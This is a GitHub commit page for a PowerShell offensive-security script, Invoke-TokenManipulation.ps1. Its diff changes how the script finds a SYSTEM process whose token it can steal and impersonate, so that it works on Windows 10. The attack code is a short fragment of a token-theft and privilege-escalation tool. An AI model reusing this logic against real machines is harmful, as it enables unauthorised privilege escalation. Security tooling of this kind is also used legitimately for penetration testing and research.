Skip to content

Commit fef09e6

Browse files
PowerShellMafiaPowerShellMafia
authored andcommitted
Merge pull request PowerShellMafia#91 from FixTheExchange/patch-1
Update Invoke-TokenManipulation.ps1 to address Win 10 incompatibility
2 parents f70c63f + e179b2e commit fef09e6

File tree

1 file changed

+9
-4
lines changed

1 file changed

+9
-4
lines changed

Exfiltration/Invoke-TokenManipulation.ps1

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -49,8 +49,8 @@ Author: Joe Bialek, Twitter: @JosephBialek
4949
License: BSD 3-Clause
5050
Required Dependencies: None
5151
Optional Dependencies: None
52-
Version: 1.11
53-
(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe)
52+
Version: 1.12
53+
(1.11 -> 1.12: Simple logic added by Josh M. Bryant to find an unprotected process to grab a SYSTEM token from, rather than hardcoding to wininit, https://www.fixtheexchange.com/)
5454
5555
.DESCRIPTION
5656
@@ -1685,8 +1685,13 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
16851685
$AllTokens = @()
16861686

16871687
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
1688-
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token.
1689-
$systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id
1688+
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
1689+
#We need to enumrate all processes running as SYSTEM and find one that we can use.
1690+
$SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"}
1691+
ForEach ($SystemToken in $SystemTokens)
1692+
{
1693+
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
1694+
}
16901695
if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
16911696
{
16921697
Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"

0 commit comments

Comments
 (0)